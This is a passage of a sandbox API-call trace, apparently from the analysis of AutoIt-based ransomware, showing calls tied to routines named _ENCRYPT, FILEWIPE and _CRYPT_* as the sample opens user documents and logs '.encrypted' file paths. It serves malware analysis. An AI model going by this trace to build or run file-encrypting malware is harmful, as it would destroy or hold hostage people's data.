lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.221] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.221] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.222] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.222] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.222] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.222] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.222] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.222] CryptReleaseContext (hProv=0xe8f4199a20, dwFlags=0x0) returned 1 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.222] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.222] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.224] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.224] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.227] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.227] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.227] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.227] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.227] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.227] CharLowerBuffW (in: lpsz="byte[67902]", cchLength=0xb | out: lpsz="byte[67902]") returned 0xb [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.228] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.228] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.228] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.228] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.229] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.229] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.229] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.229] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.230] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.230] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.230] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.230] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.230] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.230] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.231] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.231] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.231] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.231] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.231] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.231] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.231] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.231] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.231] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.231] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=4735) returned 1 [0025.232] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.232] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.232] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.232] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x127f, lpOverlapped=0x0) returned 1 [0025.232] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.232] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x127f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.232] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=4735) returned 1 [0025.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\n", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0025.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\n", cchWideChar=78, lpMultiByteStr=0xe8f406a370, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\K27yuQYoGg7erx5RY.encrypted.rtf\r\n", lpUsedDefaultChar=0x0) returned 78 [0025.232] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069c50*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069c50*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4d, lpOverlapped=0x0) returned 1 [0025.232] CloseHandle (hObject=0x1fc) returned 1 [0025.233] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.233] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.233] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.233] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.234] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.234] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.234] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.234] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.235] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41787e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.235] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178520, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.235] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.ods", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0025.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.ods", cchWideChar=64, lpMultiByteStr=0xe8f4050ff0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.ods", lpUsedDefaultChar=0x0) returned 64 [0025.236] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\lil6ph6oee7iutk.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0025.236] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=64, lpWideCharStr=0xe8f4068780, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\LIL6pH6Oee7iuTK.ods") returned 64 [0025.236] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.237] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.237] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.237] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.237] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.237] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.238] CloseHandle (hObject=0x1fc) returned 1 [0025.238] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.238] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.238] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.238] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.238] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.238] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.238] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.238] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.238] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.238] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.238] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.238] PeekMessageW (in: 